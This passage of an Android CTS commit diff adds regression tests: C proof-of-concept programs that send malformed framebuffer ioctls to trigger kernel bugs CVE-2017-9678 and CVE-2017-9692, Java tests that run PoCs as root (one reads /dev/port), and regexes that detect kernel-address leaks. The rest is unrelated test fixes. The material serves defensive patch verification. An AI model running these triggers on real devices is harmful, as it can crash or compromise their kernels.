+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-9678
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c
new file mode 100644
index 0000000..beb7cc8
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c
@@ -0,0 +1,131 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define GNU_SOURCE
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <string.h>
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+#define _IOC(dir, type, nr, size)                          \
+  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
+#define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
+#define _IOWR_BAD(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
+
+#define MDP_IOCTL_MAGIC 'S'
+/* atomic commit ioctl used for validate and commit request */
+#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
+
+struct mdp_rect {
+  uint32_t x;
+  uint32_t y;
+  uint32_t w;
+  uint32_t h;
+};
+
+typedef unsigned int u32;
+
+typedef u32 compat_caddr_t;
+
+struct mdp_layer_commit_v1_32 {
+  uint32_t flags;
+  int release_fence;
+  struct mdp_rect left_roi;
+  struct mdp_rect right_roi;
+  compat_caddr_t input_layers;
+  uint32_t input_layer_cnt;
+  compat_caddr_t output_layer;
+  int retire_fence;
+  uint32_t reserved[6];
+};
+
+struct mdp_layer_commit32 {
+  uint32_t version;
+  union {
+    struct mdp_layer_commit_v1_32 commit_v1;
+  };
+};
+
+int main() {
+  int fd;
+  int ret;
+  struct mdp_layer_commit32 mlc;
+
+  memset(&mlc, 0, sizeof(struct mdp_layer_commit32));
+
+  fd = open("/dev/graphics/fb0", O_RDWR);
+
+  if (fd < 0) {
+    return -1;
+  }
+
+  ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &mlc);
+  close(fd);
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
new file mode 100644
index 0000000..fa5539b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-9692
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c
new file mode 100644
index 0000000..7b4de81
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c
@@ -0,0 +1,209 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/types.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+#define _IOC(dir, type, nr, size)                          \
+  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
+#define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
+#define _IOWR_BAD(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
+
+#define MDP_IOCTL_MAGIC 'S'
+#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
+
+#define MDP_COMMIT_VERSION_1_0 0x00010000
+#define MDP_VALIDATE_LAYER 0x01
+
+#ifdef __LP64
+#define MDP_LAYER_COMMIT_V1_PAD 3
+#else
+#define MDP_LAYER_COMMIT_V1_PAD 4
+#endif
+
+#define MAX_PLANES 4
+
+struct mult_factor {
+  uint32_t numer;
+  uint32_t denom;
+};
+
+enum mdp_color_space {
+  MDP_CSC_ITU_R_601,
+  MDP_CSC_ITU_R_601_FR,
+  MDP_CSC_ITU_R_709,
+};
+
+enum mdss_mdp_blend_op {
+  BLEND_OP_NOT_DEFINED = 0,
+  BLEND_OP_OPAQUE,
+  BLEND_OP_PREMULTIPLIED,
+  BLEND_OP_COVERAGE,
+  BLEND_OP_MAX,
+};
+
+struct mdp_rect {
+  uint32_t x;
+  uint32_t y;
+  uint32_t w;
+  uint32_t h;
+};
+
+struct mdp_layer_plane {
+  int fd;
+  uint32_t offset;
+  uint32_t stride;
+};
+
+struct mdp_layer_commit_v1 {
+  uint32_t flags;
+  int release_fence;
+  struct mdp_rect left_roi;
+  struct mdp_rect right_roi;
+  struct mdp_input_layer __user *input_layers;
+  uint32_t input_layer_cnt;
+  struct mdp_output_layer __user *output_layer;
+  int retire_fence;
+  void __user *dest_scaler;
+  uint32_t dest_scaler_cnt;
+  uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
+};
+
+struct mdp_layer_commit {
+  uint32_t version;
+  union {
+    struct mdp_layer_commit_v1 commit_v1;
+  };
+};
+
+struct mdp_layer_buffer {
+  uint32_t width;
+  uint32_t height;
+  uint32_t format;
+  struct mdp_layer_plane planes[MAX_PLANES];
+  uint32_t plane_count;
+  struct mult_factor comp_ratio;
+  int fence;
+  uint32_t reserved;
+};
+
+struct mdp_output_layer {
+  uint32_t flags;
+  uint32_t writeback_ndx;
+  struct mdp_layer_buffer buffer;
+  enum mdp_color_space color_space;
+  uint32_t reserved[5];
+};
+
+struct mdp_input_layer {
+  uint32_t flags;
+  uint32_t pipe_ndx;
+  uint8_t horz_deci;
+  uint8_t vert_deci;
+  uint8_t alpha;
+  uint16_t z_order;
+  uint32_t transp_mask;
+  uint32_t bg_color;
+  enum mdss_mdp_blend_op blend_op;
+  enum mdp_color_space color_space;
+  struct mdp_rect src_rect;
+  struct mdp_rect dst_rect;
+  void __user *scale;
+  struct mdp_layer_buffer buffer;
+  void __user *pp_info;
+  int error_code;
+  uint32_t reserved[6];
+};
+
+int main() {
+  int fd;
+  struct mdp_layer_commit commit;
+  struct mdp_output_layer output_layer;
+
+  fd = open("/dev/graphics/fb2", O_RDWR, 0);
+  if (fd < 0) {
+    return -1;
+  }
+
+  memset(&commit, 0, sizeof(struct mdp_layer_commit));
+  commit.version = MDP_COMMIT_VERSION_1_0;
+
+  memset(&output_layer, 0, sizeof(output_layer));
+  commit.commit_v1.output_layer = (struct mdp_output_layer *)NULL;
+  commit.commit_v1.flags |= MDP_VALIDATE_LAYER;
+  ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
+
+  return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index da7453e..7670e61 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -137,7 +137,8 @@
      * @return boolean returns false if the test fails, otherwise returns true
      **/
     public static boolean detectInformationDisclosure(
-        String pocName, ITestDevice device, int timeout, String pattern) throws Exception {
+        String pocName, ITestDevice device, int timeout,
+        String pattern) throws Exception {
 
            String pocOutput = runPoc(pocName, device, timeout);
            if (Pattern.matches(pattern, pocOutput))
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index 79c0123..27c787e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -91,4 +91,15 @@
         enableAdbRoot(getDevice());
         AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
     }
+
+    /**
+     *  b/35644815
+     */
+    @SecurityTest
+    public void testPocBug_35644815() throws Exception {
+      enableAdbRoot(getDevice());
+      infoDisclosure("Bug-35644815", getDevice(), 60,
+          "[\\s\\n\\S]*INFO DISC FLAG: 0000[\\s\\n\\S]*", false);
+    }
+
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index 6c4a2f3..936eb01 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -26,7 +26,7 @@
      */
     @SecurityTest
     public void testPocBug_33863407() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/sys/kernel/debug/mdp/reg")) {
             AdbUtils.runPoc("Bug-33863407", getDevice(), 60);
         }
@@ -37,7 +37,7 @@
      */
     @SecurityTest
     public void testPocBug_36604779() throws Exception {
-      enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/port")) {
           AdbUtils.runCommandLine("cat /dev/port", getDevice());
         }
@@ -64,4 +64,68 @@
             AdbUtils.runPoc("CVE-2017-8263", getDevice(), 60);
         }
     }
+
+    /**
+     * b/34173755
+     */
+    @SecurityTest
+    public void testPocBug_34173755() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ashmem")) {
+           AdbUtils.runPoc("Bug-34173755", getDevice(), 60);
+        }
+    }
+
+     /**
+     *  b/35950388
+     */
+    @SecurityTest
+    public void testPocBug_35950388() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPocNoOutput("Bug-35950388", getDevice(), 60);
+    }
+
+    /**
+     *  b/34624155
+     */
+    @SecurityTest
+    public void testPocBug_34624155() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+           AdbUtils.runPocNoOutput("Bug-34624155", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33299365
+     */
+    @SecurityTest
+    public void testPocBug_33299365() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+           AdbUtils.runPocNoOutput("Bug-33299365", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/35950805
+     */
+    @SecurityTest
+    public void testPocBug_35950805() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb2")) {
+          AdbUtils.runPocNoOutput("Bug-35950805", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/35139833
+     */
+    @SecurityTest
+    public void testPocBug_35139833() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+          AdbUtils.runPocNoOutput("Bug-35139833", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
new file mode 100644
index 0000000..f8fbcd0
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -0,0 +1,90 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_08 extends SecurityTestCase {
+
+    /**
+     *  b/36266767
+     */
+    @SecurityTest
+    public void testPocBug_36266767() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("Bug-36266767", getDevice(), 60);
+    }
+
+    /**
+     *  b/36591162
+     */
+    @SecurityTest
+    public void testPocBug_36591162() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qce")) {
+            AdbUtils.runPoc("Bug-36591162", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/35258962
+     */
+    @SecurityTest
+    public void testPocCVE_2017_9678() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+            AdbUtils.runPoc("CVE-2017-9678", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/36731152
+     */
+    @SecurityTest
+    public void testPocCVE_2017_9692() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb2")) {
+            AdbUtils.runPoc("CVE-2017-9692", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/35764875
+     */
+    @SecurityTest
+    public void testPocBug_35764875() throws Exception {
+      enableAdbRoot(getDevice());
+      if(containsDriver(getDevice(), "/dev/msm_aac")) {
+            infoDisclosure("Bug-35764875", getDevice(), 60,
+            "[\\s\\n\\S]*information leaked, trycount=[0-9]+, rc=-[0-9]+,"
+            +" event_type=[0-9]+[\\s][0-9]{80}[\\s\\n\\S]*", true);
+      }
+    }
+
+    /**
+     *  b/35644510
+     */
+    @SecurityTest
+    public void testPocBug_35644510() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qbt1000")) {
+            infoDisclosure("Bug-35644510", getDevice(), 60,
+            "[\\s\\n\\S]*KERNEL ADDRESS LEAKED = 0x[a-f0-9]{16}[\\s\\n\\S]*", true);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index 73adad4..ba8a846 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -75,9 +75,11 @@
      * Runs an info disclosure
      **/
     public void infoDisclosure(
-        String pocName, ITestDevice device, int timeout, String pattern ) throws Exception {
+        String pocName, ITestDevice device, int timeout,
+        String pattern, boolean result) throws Exception {
 
-        assertTrue("Pattern found. Info Disclosed.",
-                    AdbUtils.detectInformationDisclosure(pocName, device, timeout, pattern));
+        assertTrue("Pattern found.",
+                    AdbUtils.detectInformationDisclosure
+                    (pocName, device, timeout, pattern)==result );
      }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
index 4694d7a..62704fb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
@@ -35,13 +35,26 @@
     }
 
     private void assertAllColor(BufferedImage img, Rectangle bounds, int expectedColor) {
+        int correctPixels = 0;
+        int wrongPixels = 0;
         for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
             for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
                 assertTrue(x < img.getWidth());
                 assertTrue(y < img.getHeight());
                 final int color = img.getRGB(x, y);
-                assertEquals("Colors must match at x=" + x + " y=" + y, expectedColor, color);
+                if (expectedColor == color) {
+                    correctPixels++;
+                } else {
+                    wrongPixels++;
+                }
             }
         }
+
+        // Some pixels might be covered by screen shape decorations, like rounded corners.
+        final float ratio = (float) wrongPixels / (correctPixels + wrongPixels);
+        if (ratio > 0.01f) {
+            fail("More than 1% of pixels have wrong color correctPixels=" + correctPixels
+                    + " wrongPixels=" + wrongPixels);
+        }
     }
 }
diff --git a/hostsidetests/theme/assets/tvdpi.zip b/hostsidetests/theme/assets/tvdpi.zip
new file mode 100755
index 0000000..553657f
--- /dev/null
+++ b/hostsidetests/theme/assets/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
index a8871a3..7cea5e5 100644
--- a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
+++ b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
@@ -99,8 +99,9 @@
             getDevice().executeShellCommand(SLEEP_COMMAND);
             // Start the APK and wait for it to complete.
             getDevice().executeShellCommand(START_COMMAND);
-            // Give the activity some time to start
-            Thread.sleep(500);
+            // Adding delay for OEM specific features which could delay the time of printing the
+            // test log. Please refer to b/62075150 for additional details.
+            Thread.sleep(1000);
             // Dump logcat.
             String logs = getDevice().executeAdbCommand(
                     "logcat", "-v", "brief", "-d", CLASS + ":I", "*:S");
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index e9a8fd7..31292c3 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -66,7 +66,22 @@
                     return (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED);
                 }
             };
-
+    private final UiAutomation.AccessibilityEventFilter mDividerPresentFilter =
+            new UiAutomation.AccessibilityEventFilter() {
+                @Override
+                public boolean accept(AccessibilityEvent event) {
+                    return (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED &&
+                            isDividerWindowPresent(getInstrumentation().getUiAutomation())    );
+                }
+            };
+    private final UiAutomation.AccessibilityEventFilter mDividerAbsentFilter =
+            new UiAutomation.AccessibilityEventFilter() {
+                @Override
+                public boolean accept(AccessibilityEvent event) {
+                    return (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED &&
+                            !isDividerWindowPresent(getInstrumentation().getUiAutomation())   );
+                }
+            };
 
     public AccessibilityWindowQueryTest() {
         super(AccessibilityWindowQueryActivity.class);
@@ -620,14 +635,11 @@
             }
         };
 
-        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, mWindowsChangedFilter,
+        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, mDividerPresentFilter,
                 TIMEOUT_ASYNC_PROCESSING);
-        waitForIdle();
-        assertTrue(isDividerWindowPresent(uiAutomation));
-        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, mWindowsChangedFilter,
+
+        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, mDividerAbsentFilter,
                 TIMEOUT_ASYNC_PROCESSING);
-        waitForIdle();
-        assertFalse(isDividerWindowPresent(uiAutomation));
     }
 
     public void testFindPictureInPictureWindow() throws Exception {
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index 6be93de..d4afbb3 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -23,6 +23,8 @@
 
   <test class="com.android.tradefed.testtype.AndroidJUnitTest">
     <option name="package" value="android.autofillservice.cts" />
+    <!-- 20x default timeout of 600sec -->
+    <option name="shell-timeout" value="12000000"/>
   </test>
 
 </configuration>
diff --git a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
index 3ae2408..e25c2be 100644
--- a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
@@ -63,7 +63,9 @@
                 Log.i(TAG, "free disk " + freeDisk + " too small, needs " + FREE_SPACE_FINAL);
                 return;
             }
-            final long MAX_FILE_SIZE_TO_FILL = 1024L * 1024L * 1024L;
+            // Ensure MAX_SIZE_TO_FILL is an integral multiple of FileUtil.BUFFER_SIZE to avoid
+            // rounding errors caused by FileUtil.createNewFilledFile. See b/63535343.
+            final long MAX_FILE_SIZE_TO_FILL = FileUtil.BUFFER_SIZE * 100L;
             long filled = 0;
             while (filled < diskToFill) {
                 long toFill = diskToFill - filled;
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index 0328fdf..beeacdd 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -47,4 +47,6 @@
         --extra-packages android.support.v17.leanback \
         --extra-packages android.support.v7.recyclerview
 
+LOCAL_PROGUARD_FLAG_FILES := proguard.flags
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/leanbackjank/app/proguard.flags b/tests/leanbackjank/app/proguard.flags
new file mode 100644
index 0000000..0674e77
--- /dev/null
+++ b/tests/leanbackjank/app/proguard.flags
@@ -0,0 +1 @@
+-dontobfuscate
\ No newline at end of file
diff --git a/tests/leanbackjank/app/res/values/dimens.xml b/tests/leanbackjank/app/res/values/dimens.xml
new file mode 100644
index 0000000..30792fd
--- /dev/null
+++ b/tests/leanbackjank/app/res/values/dimens.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<resources>
+    <dimen name="shadow_unfocused_z">0dp</dimen>
+    <dimen name="shadow_focused_z">10dp</dimen>
+</resources>
\ No newline at end of file
diff --git a/tests/leanbackjank/app/src/android/leanbackjank/app/presenter/CardPresenter.java b/tests/leanbackjank/app/src/android/leanbackjank/app/presenter/CardPresenter.java
index bedbc5d..4e6b55d 100644
--- a/tests/leanbackjank/app/src/android/leanbackjank/app/presenter/CardPresenter.java
+++ b/tests/leanbackjank/app/src/android/leanbackjank/app/presenter/CardPresenter.java
@@ -17,11 +17,15 @@
 package android.leanbackjank.app.presenter;
 
 import android.graphics.drawable.Drawable;
+import android.net.Uri;
 import android.support.v17.leanback.widget.ImageCardView;
 import android.support.v17.leanback.widget.Presenter;
 import android.view.ViewGroup;
 
 import com.bumptech.glide.Glide;
+import com.bumptech.glide.load.resource.drawable.GlideDrawable;
+import com.bumptech.glide.request.RequestListener;
+import com.bumptech.glide.request.target.Target;
 import android.leanbackjank.app.R;
 import android.leanbackjank.app.model.Movie;
 
@@ -46,25 +50,17 @@
         ImageCardView cardView = new ImageCardView(parent.getContext()) {
             @Override
             public void setSelected(boolean selected) {
-                updateCardBackgroundColor(this, selected);
